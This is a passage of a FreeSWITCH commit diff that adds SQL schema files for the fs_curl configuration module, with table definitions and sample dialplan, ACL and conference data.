+  `var_value` varchar(255) default NULL,
+  PRIMARY KEY  (`id`)
+) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `directory_vars`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `iax_conf`
+--
+
+CREATE TABLE IF NOT EXISTS `iax_conf` (
+  `id` int(11) NOT NULL auto_increment,
+  `profile_name` varchar(255) default NULL,
+  PRIMARY KEY  (`id`)
+) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `iax_conf`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `iax_settings`
+--
+
+CREATE TABLE IF NOT EXISTS `iax_settings` (
+  `id` int(11) NOT NULL auto_increment,
+  `iax_id` int(11) default NULL,
+  `param_name` varchar(255) default NULL,
+  `param_value` varchar(255) default NULL,
+  PRIMARY KEY  (`id`)
+) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `iax_settings`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `ivr_conf`
+--
+
+CREATE TABLE IF NOT EXISTS `ivr_conf` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `name` varchar(64) NOT NULL,
+  `greet_long` varchar(255) NOT NULL,
+  `greet_short` varchar(255) NOT NULL,
+  `invalid_sound` varchar(255) NOT NULL,
+  `exit_sound` varchar(255) NOT NULL,
+  `max_failures` int(10) unsigned NOT NULL default '3',
+  `timeout` int(11) NOT NULL default '5',
+  `tts_engine` varchar(64) default NULL,
+  `tts_voice` varchar(64) default NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_name` (`name`)
+) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `ivr_conf`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `ivr_entries`
+--
+
+CREATE TABLE IF NOT EXISTS `ivr_entries` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `ivr_id` int(10) unsigned NOT NULL,
+  `action` varchar(64) NOT NULL,
+  `digits` varchar(16) NOT NULL,
+  `params` varchar(255) default NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_ivr_digits` USING BTREE (`ivr_id`,`digits`)
+) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `ivr_entries`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `limit_conf`
+--
+
+CREATE TABLE IF NOT EXISTS `limit_conf` (
+  `id` int(11) NOT NULL auto_increment,
+  `name` varchar(255) default NULL,
+  `value` varchar(255) default NULL,
+  PRIMARY KEY  (`id`)
+) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `limit_conf`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `limit_data`
+--
+
+CREATE TABLE IF NOT EXISTS `limit_data` (
+  `hostname` varchar(255) default NULL,
+  `realm` varchar(255) default NULL,
+  `id` varchar(255) default NULL,
+  `uuid` varchar(255) default NULL
+) ENGINE=MyISAM DEFAULT CHARSET=utf8;
+
+--
+-- Dumping data for table `limit_data`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `local_stream_conf`
+--
+
+CREATE TABLE IF NOT EXISTS `local_stream_conf` (
+  `id` int(11) NOT NULL auto_increment,
+  `directory_name` varchar(255) default NULL,
+  `directory_path` text,
+  `param_name` varchar(255) default NULL,
+  `param_value` varchar(255) default NULL,
+  PRIMARY KEY  (`id`)
+) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `local_stream_conf`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `modless_conf`
+--
+
+CREATE TABLE IF NOT EXISTS `modless_conf` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `conf_name` varchar(64) NOT NULL,
+  PRIMARY KEY  (`id`)
+) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `modless_conf`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `post_load_modules_conf`
+--
+
+CREATE TABLE IF NOT EXISTS `post_load_modules_conf` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `module_name` varchar(64) NOT NULL,
+  `load_module` tinyint(1) NOT NULL default '1',
+  `priority` int(10) unsigned NOT NULL default '1000',
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_mod` (`module_name`)
+) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `post_load_modules_conf`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `rss_conf`
+--
+
+CREATE TABLE IF NOT EXISTS `rss_conf` (
+  `id` int(11) NOT NULL auto_increment,
+  `directory_id` int(11) NOT NULL,
+  `feed` text NOT NULL,
+  `local_file` text NOT NULL,
+  `description` text,
+  `priority` int(11) NOT NULL default '1000',
+  PRIMARY KEY  (`id`)
+) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `rss_conf`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sip_authentication`
+--
+
+CREATE TABLE IF NOT EXISTS `sip_authentication` (
+  `nonce` varchar(255) default NULL,
+  `expires` int(11) default NULL
+) ENGINE=InnoDB DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `sip_authentication`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sip_dialogs`
+--
+
+CREATE TABLE IF NOT EXISTS `sip_dialogs` (
+  `call_id` varchar(255) default NULL,
+  `uuid` varchar(255) default NULL,
+  `sip_to_user` varchar(255) default NULL,
+  `sip_to_host` varchar(255) default NULL,
+  `sip_from_user` varchar(255) default NULL,
+  `sip_from_host` varchar(255) default NULL,
+  `contact_user` varchar(255) default NULL,
+  `contact_host` varchar(255) default NULL,
+  `state` varchar(255) default NULL,
+  `direction` varchar(255) default NULL,
+  `user_agent` varchar(255) default NULL
+) ENGINE=InnoDB DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `sip_dialogs`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sip_registrations`
+--
+
+CREATE TABLE IF NOT EXISTS `sip_registrations` (
+  `call_id` varchar(255) default NULL,
+  `sip_user` varchar(255) default NULL,
+  `sip_host` varchar(255) default NULL,
+  `contact` varchar(1024) default NULL,
+  `status` varchar(255) default NULL,
+  `rpid` varchar(255) default NULL,
+  `expires` int(11) default NULL,
+  `user_agent` varchar(255) default NULL
+) ENGINE=InnoDB DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `sip_registrations`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sip_subscriptions`
+--
+
+CREATE TABLE IF NOT EXISTS `sip_subscriptions` (
+  `proto` varchar(255) default NULL,
+  `sip_user` varchar(255) default NULL,
+  `sip_host` varchar(255) default NULL,
+  `sub_to_user` varchar(255) default NULL,
+  `sub_to_host` varchar(255) default NULL,
+  `event` varchar(255) default NULL,
+  `contact` varchar(1024) default NULL,
+  `call_id` varchar(255) default NULL,
+  `full_from` varchar(255) default NULL,
+  `full_via` varchar(255) default NULL,
+  `expires` int(11) default NULL,
+  `user_agent` varchar(255) default NULL,
+  `accept` varchar(255) default NULL
+) ENGINE=InnoDB DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `sip_subscriptions`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sofia_aliases`
+--
+
+CREATE TABLE IF NOT EXISTS `sofia_aliases` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `sofia_id` int(10) unsigned NOT NULL,
+  `alias_name` varchar(255) NOT NULL,
+  PRIMARY KEY  (`id`)
+) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `sofia_aliases`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sofia_conf`
+--
+
+CREATE TABLE IF NOT EXISTS `sofia_conf` (
+  `id` int(11) NOT NULL auto_increment,
+  `profile_name` varchar(255) default NULL,
+  PRIMARY KEY  (`id`)
+) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `sofia_conf`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sofia_domains`
+--
+
+CREATE TABLE IF NOT EXISTS `sofia_domains` (
+  `id` int(11) NOT NULL auto_increment,
+  `sofia_id` int(11) default NULL,
+  `domain_name` varchar(255) default NULL,
+  `parse` tinyint(1) default NULL,
+  PRIMARY KEY  (`id`)
+) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `sofia_domains`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sofia_gateways`
+--
+
+CREATE TABLE IF NOT EXISTS `sofia_gateways` (
+  `id` int(11) NOT NULL auto_increment,
+  `sofia_id` int(11) default NULL,
+  `gateway_name` varchar(255) default NULL,
+  `gateway_param` varchar(255) default NULL,
+  `gateway_value` varchar(255) default NULL,
+  PRIMARY KEY  (`id`)
+) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `sofia_gateways`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sofia_settings`
+--
+
+CREATE TABLE IF NOT EXISTS `sofia_settings` (
+  `id` int(11) NOT NULL auto_increment,
+  `sofia_id` int(11) default NULL,
+  `param_name` varchar(255) default NULL,
+  `param_value` varchar(255) default NULL,
+  PRIMARY KEY  (`id`)
+) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `sofia_settings`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `voicemail_conf`
+--
+
+CREATE TABLE IF NOT EXISTS `voicemail_conf` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `vm_profile` varchar(64) NOT NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_profile` (`vm_profile`)
+) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `voicemail_conf`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `voicemail_email`
+--
+
+CREATE TABLE IF NOT EXISTS `voicemail_email` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `voicemail_id` int(10) unsigned NOT NULL,
+  `param_name` varchar(64) NOT NULL,
+  `param_value` varchar(64) NOT NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_profile_param` (`param_name`,`voicemail_id`)
+) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `voicemail_email`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `voicemail_settings`
+--
+
+CREATE TABLE IF NOT EXISTS `voicemail_settings` (
+  `id` int(11) NOT NULL auto_increment,
+  `voicemail_id` int(11) default NULL,
+  `param_name` varchar(255) default NULL,
+  `param_value` varchar(255) default NULL,
+  PRIMARY KEY  (`id`)
+) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `voicemail_settings`
+--
+
+
+--
+-- Constraints for dumped tables
+--
+
+--
+-- Constraints for table `dingaling_profile_params`
+--
+ALTER TABLE `dingaling_profile_params`
+  ADD CONSTRAINT `dingaling_profile` FOREIGN KEY (`dingaling_id`) REFERENCES `dingaling_profiles` (`id`) ON DELETE CASCADE ON UPDATE CASCADE;

Deleted: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/sql/oracle-with-examples.sql

Copied: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/sql/oracle-with-examples.sql (from rev 14471, freeswitch/trunk/contrib/intralanman/PHP/fs_curl/sql/oracle-with-examples.sql) (0 => 14472)


--- freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/sql/oracle-with-examples.sql	                        (rev 0)
+++ freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/sql/oracle-with-examples.sql	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,1431 @@
+-- phpMyAdmin SQL Dump
+-- version 3.1.2deb1
+-- http://www.phpmyadmin.net
+--
+-- Host: localhost
+-- Generation Time: Feb 15, 2009 at 09:35 PM
+-- Server version: 5.0.75
+-- PHP Version: 5.2.6-3ubuntu2
+
+
+/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
+/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
+/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
+/*!40101 SET NAMES utf8 */;
+
+--
+-- Database: `freeswitch`
+--
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `acl_lists`
+--
+
+CREATE TABLE IF NOT EXISTS "acl_lists" (
+  "id" int(10) unsigned NOT NULL,
+  "acl_name" varchar(128) NOT NULL,
+  "default_policy" varchar(45) NOT NULL,
+  PRIMARY KEY  ("id")
+) AUTO_INCREMENT=4 ;
+
+--
+-- Dumping data for table `acl_lists`
+--
+
+INSERT INTO `acl_lists` (`id`, `acl_name`, `default_policy`) VALUES
+(1, 'rfc1918', 'deny'),
+(2, 'lan', 'allow'),
+(3, 'default', 'allow');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `acl_nodes`
+--
+
+CREATE TABLE IF NOT EXISTS "acl_nodes" (
+  "id" int(10) unsigned NOT NULL,
+  "cidr" varchar(45) NOT NULL,
+  "type" varchar(16) NOT NULL,
+  "list_id" int(10) unsigned NOT NULL,
+  PRIMARY KEY  ("id")
+) AUTO_INCREMENT=4 ;
+
+--
+-- Dumping data for table `acl_nodes`
+--
+
+INSERT INTO `acl_nodes` (`id`, `cidr`, `type`, `list_id`) VALUES
+(1, '192.168.0.0/16', 'allow', 1),
+(2, '10.0.0.0/8', 'allow', 1),
+(3, '172.16.0.0/12', 'allow', 1);
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `conference_advertise`
+--
+
+CREATE TABLE IF NOT EXISTS "conference_advertise" (
+  "id" int(10) unsigned NOT NULL,
+  "room" varchar(64) NOT NULL,
+  "status" varchar(128) NOT NULL,
+  PRIMARY KEY  ("id"),
+  UNIQUE KEY "unique_room" ("room")
+) AUTO_INCREMENT=4 ;
+
+--
+-- Dumping data for table `conference_advertise`
+--
+
+INSERT INTO `conference_advertise` (`id`, `room`, `status`) VALUES
+(1, '3000@$${domain}', 'Freeswitch Conference'),
+(2, '3001@$${domain}', 'FreeSWITCH Conference 2'),
+(3, '3002@$${domain}', 'FreeSWITCH Conference 3');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `conference_controls`
+--
+
+CREATE TABLE IF NOT EXISTS "conference_controls" (
+  "id" int(10) unsigned NOT NULL,
+  "conf_group" varchar(64) NOT NULL,
+  "action" varchar(64) NOT NULL,
+  "digits" varchar(16) NOT NULL,
+  PRIMARY KEY  ("id"),
+  UNIQUE KEY "unique_group_action" ("conf_group","action")
+) AUTO_INCREMENT=13 ;
+
+--
+-- Dumping data for table `conference_controls`
+--
+
+INSERT INTO `conference_controls` (`id`, `conf_group`, `action`, `digits`) VALUES
+(1, 'default', 'mute', '0'),
+(2, 'default', 'deaf_mute', '*'),
+(3, 'default', 'energy up', '9'),
+(4, 'default', 'energy equ', '8'),
+(5, 'default', 'energy dn', '7'),
+(6, 'default', 'vol talk up', '3'),
+(7, 'default', 'vol talk dn', '1'),
+(8, 'default', 'vol talk zero', '2'),
+(9, 'default', 'vol listen up', '6'),
+(10, 'default', 'vol listen dn', '4'),
+(11, 'default', 'vol listen zero', '5'),
+(12, 'default', 'hangup', '#');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `conference_profiles`
+--
+
+CREATE TABLE IF NOT EXISTS "conference_profiles" (
+  "id" int(10) unsigned NOT NULL,
+  "profile_name" varchar(64) NOT NULL,
+  "param_name" varchar(64) NOT NULL,
+  "param_value" varchar(64) NOT NULL,
+  PRIMARY KEY  ("id"),
+  KEY "unique_profile_param" ("profile_name","param_name")
+) AUTO_INCREMENT=8 ;
+
+--
+-- Dumping data for table `conference_profiles`
+--
+
+INSERT INTO `conference_profiles` (`id`, `profile_name`, `param_name`, `param_value`) VALUES
+(1, 'default', 'domain', '$${domain}'),
+(2, 'default', 'rate', '8000'),
+(3, 'default', 'interval', '20'),
+(4, 'default', 'energy-level', '300'),
+(5, 'default', 'moh-sound', '$${moh_uri}'),
+(6, 'default', 'caller-id-name', '$${outbound_caller_name}'),
+(7, 'default', 'caller-id-number', '$${outbound_caller_number}');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dialplan`
+--
+
+CREATE TABLE IF NOT EXISTS "dialplan" (
+  "dialplan_id" int(11) NOT NULL,
+  "domain" varchar(128) NOT NULL,
+  "ip_address" varchar(15) NOT NULL,
+  PRIMARY KEY  ("dialplan_id")
+) AUTO_INCREMENT=2 ;
+
+--
+-- Dumping data for table `dialplan`
+--
+
+INSERT INTO `dialplan` (`dialplan_id`, `domain`, `ip_address`) VALUES
+(1, 'freeswitch', '127.0.0.1');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dialplan_actions`
+--
+
+CREATE TABLE IF NOT EXISTS "dialplan_actions" (
+  "action_id" int(11) NOT NULL,
+  "condition_id" int(11) NOT NULL,
+  "application" varchar(256) NOT NULL,
+  "data" varchar(256) NOT NULL,
+  "type" varchar(32) NOT NULL,
+  "weight" int(11) NOT NULL,
+  PRIMARY KEY  ("action_id")
+) AUTO_INCREMENT=170 ;
+
+--
+-- Dumping data for table `dialplan_actions`
+--
+
+INSERT INTO `dialplan_actions` (`action_id`, `condition_id`, `application`, `data`, `type`, `weight`) VALUES
+(1, 2, 'deflect', '${destination_number}', 'action', 10),
+(2, 5, 'set', 'domain_name=$${domain}', 'action', 20),
+(3, 5, 'set', 'domain_name=${sip_auth_realm}', 'anti-action', 30),
+(4, 7, 'set', 'domain_name=$${domain}', 'action', 40),
+(5, 9, 'set', 'open=true', 'action', 50),
+(6, 10, 'answer', '', 'action', 60),
+(7, 10, 'intercept', '${db(select/${domain_name}-last_dial/global)}', 'action', 70),
+(8, 10, 'sleep', '2000', 'action', 80),
+(9, 11, 'answer', '', 'action', 90),
+(10, 11, 'intercept', '${db(select/${domain_name}-last_dial/${callgroup})}', 'action', 100),
+(11, 11, 'sleep', '2000', 'action', 110),
+(12, 12, 'answer', '', 'action', 120),
+(13, 12, 'intercept', '${db(select/${domain_name}-last_dial_ext/$1)}', 'action', 130),
+(14, 12, 'sleep', '2000', 'action', 140),
+(15, 13, 'transfer', '${db(select/${domain_name}-last_dial/${caller_id_number})}', 'action', 150),
+(16, 14, 'set', 'use_profile=${cond(${acl($${local_ip_v4} rfc1918)} == true ? nat : default)}', 'action', 160),
+(17, 14, 'set', 'use_profile=${cond(${acl(${network_addr} rfc1918)} == true ? nat : default)}', 'anti-action', 170),
+(18, 15, 'set_user', 'default@${domain_name}', 'action', 180),
+(19, 16, 'info', '', 'action', 190),
+(20, 17, 'set', 'sip_secure_media=true', 'action', 200),
+(21, 18, 'db', 'insert/${domain_name}-spymap/${caller_id_number}/${uuid}', 'action', 210),
+(22, 18, 'db', 'insert/${domain_name}-last_dial/${caller_id_number}/${destination_number}', 'action', 220),
+(23, 18, 'db', 'insert/${domain_name}-last_dial/global/${uuid}', 'action', 230),
+(24, 19, 'eval', '${snom_bind_key(2 off DND ${sip_from_user} ${sip_from_host} ${sofia_profile_name} message notused)}', 'action', 240),
+(25, 19, 'transfer', '3000', 'action', 250),
+(26, 20, 'eval', '${snom_bind_key(2 on DND ${sip_from_user} ${sip_from_host} ${sofia_profile_name} message api+uuid_transfer ${uuid} 9001)}', 'action', 260),
+(27, 20, 'playback', '$${hold_music}', 'action', 270),
+(28, 21, 'answer', '', 'action', 280),
+(29, 21, 'eavesdrop', '${db(select/${domain_name}-spymap/$1)}', 'action', 290),
+(30, 22, 'answer', '', 'action', 300),
+(31, 22, 'set', 'eavesdrop_indicate_failed=tone_stream://%(500, 0, 320)', 'action', 310),
+(32, 22, 'set', 'eavesdrop_indicate_new=tone_stream://%(500, 0, 620)', 'action', 320),
+(33, 22, 'set', 'eavesdrop_indicate_idle=tone_stream://%(250, 0, 920)', 'action', 330),
+(34, 22, 'eavesdrop', 'all', 'action', 340),
+(35, 23, 'transfer', '${db(select/${domain_name}-call_return/${caller_id_number})}', 'action', 350),
+(36, 24, 'answer', '', 'action', 360),
+(37, 24, 'group', 'delete:$1@${domain_name}:${sofia_contact(${sip_from_user}@${domain_name})}', 'action', 370),
+(38, 24, 'gentones', '%(1000, 0, 320)', 'action', 380),
+(39, 25, 'answer', '', 'action', 390),
+(40, 25, 'group', 'insert:$1@${domain_name}:${sofia_contact(${sip_from_user}@${domain_name})}', 'action', 400),
+(41, 25, 'gentones', '%(1000, 0, 640)', 'action', 410),
+(42, 26, 'bridge', '{ignore_early_media=true}${group(call:$1@${domain_name})}', 'action', 420),
+(43, 27, 'set', 'call_timeout=10', 'action', 430),
+(44, 27, 'bridge', '{ignore_early_media=true}${group(call:$1@${domain_name}:order)}', 'action', 440),
+(45, 28, 'set', 'dialed_extension=$1', 'action', 450),
+(46, 28, 'export', 'sip_auto_answer=true', 'action', 460),
+(47, 28, 'bridge', 'user/${dialed_extension}@${domain_name}', 'action', 470),
+(48, 29, 'set', 'dialed_extension=$1', 'action', 480),
+(49, 29, 'export', 'dialed_extension=$1', 'action', 490),
+(50, 30, 'set', 'voicemail_authorized=${sip_authorized}', 'action', 500),
+(51, 30, 'answer', '', 'action', 510),
+(52, 30, 'sleep', '1000', 'action', 520),
+(53, 30, 'voicemail', 'check default ${domain_name} ${dialed_extension}', 'action', 530),
+(54, 30, 'bind_meta_app', '1 b s execute_extension::dx XML features', 'anti-action', 540),
+(55, 30, 'bind_meta_app', '2 b s record_session::$${base_dir}/recordings/${caller_id_number}.${strftime(%Y-%m-%d-%H-%M-%S)}.wav', 'anti-action', 550),
+(56, 30, 'bind_meta_app', '3 b s execute_extension::cf XML features', 'anti-action', 560),
+(57, 30, 'set', 'ringback=${us-ring}', 'anti-action', 570),
+(58, 30, 'set', 'transfer_ringback=$${hold_music}', 'anti-action', 580),
+(59, 30, 'set', 'call_timeout=30', 'anti-action', 590),
+(60, 30, 'set', 'hangup_after_bridge=true', 'anti-action', 600),
+(61, 30, 'set', 'continue_on_fail=true', 'anti-action', 610),
+(62, 30, 'db', 'insert/${domain_name}-call_return/${dialed_extension}/${caller_id_number}', 'anti-action', 620),
+(63, 30, 'db', 'insert/${domain_name}-last_dial_ext/${dialed_extension}/${uuid}', 'anti-action', 630),
+(64, 30, 'set', 'called_party_callgroup=${user_data(${dialed_extension}@${domain_name} var callgroup)}', 'anti-action', 640),
+(65, 30, 'db', 'insert/${domain_name}-last_dial/${called_party_callgroup}/${uuid}', 'anti-action', 650),
+(66, 30, 'bridge', 'user/${dialed_extension}@${domain_name}', 'anti-action', 660),
+(67, 30, 'answer', '', 'anti-action', 670),
+(68, 30, 'sleep', '1000', 'anti-action', 680),
+(69, 30, 'voicemail', 'default ${domain_name} ${dialed_extension}', 'anti-action', 690),
+(70, 31, 'bridge', '${group_call(sales@${domain_name})}', 'action', 700),
+(71, 32, 'bridge', 'group/support@${domain_name}', 'action', 710),
+(72, 33, 'bridge', 'group/billing@${domain_name}', 'action', 720),
+(73, 34, 'set', 'transfer_ringback=$${hold_music}', 'action', 730),
+(74, 34, 'transfer', '1000 XML features', 'action', 740),
+(75, 35, 'answer', '', 'action', 750),
+(76, 35, 'sleep', '1000', 'action', 760),
+(77, 35, 'voicemail', 'check default ${domain_name}', 'action', 770),
+(78, 36, 'bridge', 'sofia/${use_profile}/$1', 'action', 780),
+(79, 37, 'answer', '', 'action', 790),
+(80, 37, 'conference', '$1-${domain_name}@default', 'action', 800),
+(81, 38, 'answer', '', 'action', 810),
+(82, 38, 'conference', '$1-${domain_name}@wideband', 'action', 820),
+(83, 39, 'answer', '', 'action', 830),
+(84, 39, 'conference', '$1-${domain_name}@ultrawideband', 'action', 840),
+(85, 40, 'answer', '', 'action', 850),
+(86, 40, 'conference', '$1-${domain_name}@cdquality', 'action', 860),
+(87, 41, 'bridge', 'sofia/${use_profile}/$1@conference.freeswitch.org', 'action', 870),
+(88, 42, 'set', 'conference_auto_outcall_caller_id_name=Mad Boss1', 'action', 880),
+(89, 42, 'set', 'conference_auto_outcall_caller_id_number=0911', 'action', 890),
+(90, 42, 'set', 'conference_auto_outcall_timeout=60', 'action', 900),
+(91, 42, 'set', 'conference_auto_outcall_flags=mute', 'action', 910),
+(92, 42, 'set', 'conference_auto_outcall_prefix={sip_auto_answer=true,execute_on_answer=''bind_meta_app 2 a s1 intercept::${uuid}''}', 'action', 920),
+(93, 42, 'set', 'sip_exclude_contact=${network_addr}', 'action', 930),
+(94, 42, 'conference_set_auto_outcall', '${group_call(sales)}', 'action', 940),
+(95, 42, 'conference', 'madboss_intercom1@default+flags{endconf|deaf}', 'action', 950),
+(96, 43, 'set', 'conference_auto_outcall_caller_id_name=Mad Boss2', 'action', 960),
+(97, 43, 'set', 'conference_auto_outcall_caller_id_number=0912', 'action', 970),
+(98, 43, 'set', 'conference_auto_outcall_timeout=60', 'action', 980),
+(99, 43, 'set', 'conference_auto_outcall_flags=mute', 'action', 990),
+(100, 43, 'set', 'conference_auto_outcall_prefix={sip_auto_answer=true,execute_on_answer=''bind_meta_app 2 a s1 intercept::${uuid}''}', 'action', 1000),
+(101, 43, 'set', 'sip_exclude_contact=${network_addr}', 'action', 1010),
+(102, 43, 'conference_set_auto_outcall', 'loopback/9999', 'action', 1020),
+(103, 43, 'conference', 'madboss_intercom2@default+flags{endconf|deaf}', 'action', 1030),
+(104, 44, 'set', 'conference_auto_outcall_caller_id_name=Mad Boss', 'action', 1040),
+(105, 44, 'set', 'conference_auto_outcall_caller_id_number=0911', 'action', 1050),
+(106, 44, 'set', 'conference_auto_outcall_timeout=60', 'action', 1060),
+(107, 44, 'set', 'conference_auto_outcall_flags=none', 'action', 1070),
+(108, 44, 'conference_set_auto_outcall', 'loopback/9999', 'action', 1080),
+(109, 44, 'conference', 'madboss3@default', 'action', 1090),
+(110, 45, 'answer', '', 'action', 1100),
+(111, 45, 'sleep', '2000', 'action', 1110),
+(112, 45, 'ivr', 'demo_ivr', 'action', 1120),
+(113, 46, 'conference', 'bridge:mydynaconf:sofia/${use_profile}/1234@conference.freeswitch.org', 'action', 1130),
+(114, 47, 'answer', '', 'action', 1140),
+(115, 47, 'esf_page_group', '', 'action', 1150),
+(116, 48, 'set', 'fifo_music=$${hold_music}', 'action', 1160),
+(117, 48, 'fifo', '5900@${domain_name} in', 'action', 1170),
+(118, 49, 'answer', '', 'action', 1180),
+(119, 49, 'fifo', '5900@${domain_name} out nowait', 'action', 1190),
+(120, 51, 'fifo', '$1@${domain_name} in undef $${hold_music}', 'action', 1200),
+(121, 54, 'answer', '', 'action', 1210),
+(122, 54, 'fifo', '$1@${domain_name} out nowait', 'action', 1220),
+(123, 57, '', '', 'expression', 1230),
+(124, 57, 'fifo', '$1@${domain_name} in undef $${hold_music}', 'action', 1240),
+(125, 60, 'answer', '', 'action', 1250),
+(126, 60, 'fifo', '$1@${domain_name} out nowait', 'action', 1260),
+(127, 61, 'pre_answer', '', 'action', 1270),
+(128, 61, 'sleep', '20000', 'action', 1280),
+(129, 61, 'answer', '', 'action', 1290),
+(130, 61, 'sleep', '1000', 'action', 1300),
+(131, 61, 'playback', 'voicemail/vm-goodbye.wav', 'action', 1310),
+(132, 61, 'hangup', '', 'action', 1320),
+(133, 62, 'ring_ready', '', 'action', 1330),
+(134, 62, 'sleep', '20000', 'action', 1340),
+(135, 62, 'answer', '', 'action', 1350),
+(136, 62, 'sleep', '1000', 'action', 1360),
+(137, 62, 'playback', 'voicemail/vm-goodbye.wav', 'action', 1370),
+(138, 62, 'hangup', '', 'action', 1380),
+(139, 63, 'set', 'ringback=$${uk-ring}', 'action', 1390),
+(140, 63, 'bridge', 'loopback/wait', 'action', 1400),
+(141, 64, 'set', 'ringback=$${hold_music}', 'action', 1410),
+(142, 64, 'bridge', 'loopback/wait', 'action', 1420),
+(143, 65, 'set', 'transfer_ringback=$${uk-ring}', 'action', 1430),
+(144, 65, 'answer', '', 'action', 1440),
+(145, 65, 'bridge', 'loopback/wait', 'action', 1450),
+(146, 66, 'set', 'transfer_ringback=$${hold_music}', 'action', 1460),
+(147, 66, 'answer', '', 'action', 1470),
+(148, 66, 'bridge', 'loopback/wait', 'action', 1480),
+(149, 67, 'answer', '', 'action', 1490),
+(150, 67, 'info', '', 'action', 1500),
+(151, 67, 'sleep', '250', 'action', 1510),
+(152, 67, 'hangup', '', 'action', 1520),
+(153, 68, 'answer', '', 'action', 1530),
+(154, 68, 'record_fsv', '/tmp/testrecord.fsv', 'action', 1540),
+(155, 69, 'answer', '', 'action', 1550),
+(156, 69, 'play_fsv', '/tmp/testrecord.fsv', 'action', 1560),
+(157, 70, 'answer', '', 'action', 1570),
